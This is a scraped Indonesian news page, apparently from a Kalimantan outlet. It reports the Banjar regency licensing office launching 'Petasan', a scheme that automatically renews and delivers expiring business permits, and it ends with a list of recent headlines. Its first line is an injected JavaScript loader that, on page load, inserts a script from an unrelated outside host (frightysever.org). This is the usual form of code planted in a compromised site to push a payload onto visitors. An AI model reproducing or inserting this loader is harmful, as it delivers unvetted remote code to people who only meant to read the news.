(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Streaming

Ada ‘Petasan’ di Dinas Penanaman Modal dan Pelayanan Perizinan Terpadu Satu Pintu Banjar


MARTAPURA, Dinas Penanam Modal dan Pelayanan Perizinan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar merilis sistem baru bidang pelayanan perijinan, Kamis (19/10).

‘Petasan’, begitu sistem anyar yang digadang-gadang akan mempermudah perijinan bagi para pelaku usaha ini dinamai. Bukan petasan dalam arti sebenarnya, ‘Petasan’ di DPMPTSP Kabupaten Banjar adalah akronim dari ‘Perizinan Tanpa Persyaratan’.

Disampaikan A H Fahri, Kepala DPMPTSP Kabupaten Banjar saat launching yang dihadiri Bupati Banjar H Khalilurrahman di pelataran Kantor DPMPTSP, ‘Petasan’ merupakan inovasi yang sengaja diciptakan untuk mempermudah proses pengurusan perpanjangan izin berjenjang.

“Untuk jenis izin berjangka dan sudah jatuh tempo, akan otomatis diperpanjang. Dengan begitu tak ada alasan lagi bagi pelaku usaha untuk tidak memperpanjang izin usahanya,” kata Fahri.

Tak hanya itu, ujar Fahri, berkas izin yang sudah otomatis diperpanjang, akan diantar langsung ke alamat pemohon menggunakan jasa perusahaan penyedia jasa pengiriman. Utamanya pemohon izin yang beralamat di sekitar Kabupaten Banjar, Banjarbaru, dan Banjarmasin.

Dengan ‘Petasan’ pula, Fahri optimis pendapatan asli daerah (PAD) perizinan dapat ditingkatkan hingga 150 persen. Karena dari 59 jenis perizinan yang dilayani di Kantor DPMPTSP, 42 di antarnya jenis perizinan berjenjang.

“Target PAD dari layanan perizinan tahun ini sebesar Rp200 juta. Dengan penerapan ‘Petasan’, tahun depan kami optimis target PAD  yang direalisasi mencapai 150 persen,” kata Fahri.

Sementara itu, Bupati Banjar H Khalilurrahman mengantakan, setiap warga negara berhak mendapat pelayanan dari pemerintah. Tak terkecuali para pelaku usaha. ‘Petasan’, salah satu upaya Pemerintah Kabupaten Banjar melalui DPMPTSP memberikan pelayanan bagi pelaku usaha.

“Pelayanan perizinan salah satu pelayanan publik yang harus diberikan perintah. Dan dalam pemerintahan Presiden Joko Widodo, pelayanan publik menjadi agenda penting. Presiden bahkan mengharuskan pelayanan perizinan paling lambat rampung sepekan,” kata H Khalilurrahman. (rudiyanto/adv)


Desy Arfianty

Recent Posts

Disporapar Balangan Survei Objek Wisata Baru di Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Dinas Kepemudaan, Olahraga, dan Pariwisata (Disporapar) Kabupaten Balangan melakukan survei dan penilaian… Read More

5 jam ago

KMBPD Batalkan Aksi Unjuk Rasa ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Rencana aksi unjuk rasa pasca penetapan hasil Pemilihan Wali Kota dan Wakil… Read More

5 jam ago

Gotong Royong Warga Desa Pematang Bersihkan Aliran Sungai

KANALKALIMANTAN.COM, PARINGIN - Upaya menjaga kelestarian lingkungan dan mendukung kebutuhan air pertanian, warga Desa Pematang,… Read More

5 jam ago

5 Desember Hari Armada RI, Ini Sejarahnya

KANALKALIMANTAN.COM - Setiap 5 Desember diperingati Hari Armada Republik Indonesia (RI) sebagai penghormatan terhadap peran… Read More

5 jam ago

Revitalisasi Taman Van Der Pijl Tahap Finishing, Ada Lapangan Basket Standar FIBA

KANALKALIMANTAN.COM, BANJARBARU - Memasuki masa akhir kontrak, progres pengerjaan revitalisasi Taman Van Der Pijl menjadi… Read More

6 jam ago

Desa Penerima Bansos Pamsimas 2025 Diprioritaskan ke Arah Pengembangan dan Peningkatan Infrastruktur

KANALKALIMANTAN.COM, MARTAPURA - Penentuan desa-desa sebagai penerima bantuan sosial program Penyediaan Air Minum dan Sanitasi… Read More

6 jam ago

This website uses cookies.